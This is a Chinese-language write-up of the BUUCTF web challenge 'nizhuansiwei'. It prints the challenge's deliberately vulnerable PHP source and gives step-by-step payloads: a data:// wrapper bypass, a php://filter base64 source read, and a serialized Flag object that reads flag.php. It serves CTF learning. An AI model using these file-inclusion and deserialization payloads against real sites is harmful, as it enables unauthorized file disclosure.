[PHP知识库]BUUCTF WEB nizhuansiwei

代码审计题

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

三关，text file password
那么就一关关慢慢来

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

text是我们本地带过去的参数，用data伪协议就可以轻松绕过？text=data://text/plain,welcome to the zjctf
第二关，file里不能带flag，那么，其实我们要读取的是useless.php，本身也跟flag无关
直接用php://filter读取源码

file=php://filter/read=convert.base64-encode/resource=useless.php

返回了useless.php的base64编码源码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码一下

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三关是一个序列化问题，要读取flag.php，toString方法被重写了，那就构造一个Flag对象，file是flag.php就好
没啥好说的，序列化吧

<?php


 
class Flag{  //flag.php  
    public $file;  
}  
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>

结果
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
于是完整的payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag在源码里
参考视频链接:https://www.bilibili.com/video/BV1jQ4y1y76M/